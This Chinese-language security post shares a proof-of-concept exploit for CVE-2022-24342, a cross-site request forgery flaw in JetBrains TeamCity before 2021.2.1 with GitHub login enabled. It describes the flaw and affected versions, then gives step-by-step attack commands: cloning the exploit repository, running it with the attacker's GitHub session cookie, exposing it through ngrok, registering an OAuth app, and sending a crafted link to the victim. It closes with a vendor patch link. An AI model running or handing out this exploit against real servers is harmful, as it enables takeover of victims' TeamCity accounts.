【CVE-2022-24342】JetBrains TeamCity 跨站请求伪造漏洞POC
作者:Sec-Labs | 发布时间:
漏洞介绍
Jetbrains JetBrains TeamCity是捷克JetBrains(Jetbrains)公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。
JetBrains TeamCity 中存在跨站请求伪造漏洞,该漏洞源于产品未对URL中的特殊字符进行充分检查。攻击者可通过该漏洞导致注入。以下产品及版本受到影响:JetBrains TeamCity 2021.2.1 之前版本。
要求
- JetBrains TeamCity <2021.2.1
- 启用GitHub认证
利用方法
- 尝试用攻击者的GitHub账户登录到目标TeamCity界面,使TeamCity的GitHub应用得到授权
- 安装并运行
POC
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
如果你在本地机器上运行该漏洞,你可能需要使用Ngrok或替代品。
$ ngrok http 8000
创建GitHub OAuth2应用程序
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
将以下链接发送给受害者
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
演示视频
修复方案
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://blog.jetbrains.com/blog/2022/02/08/jetbrains-security-bulletin-q4-2021/
标签:工具分享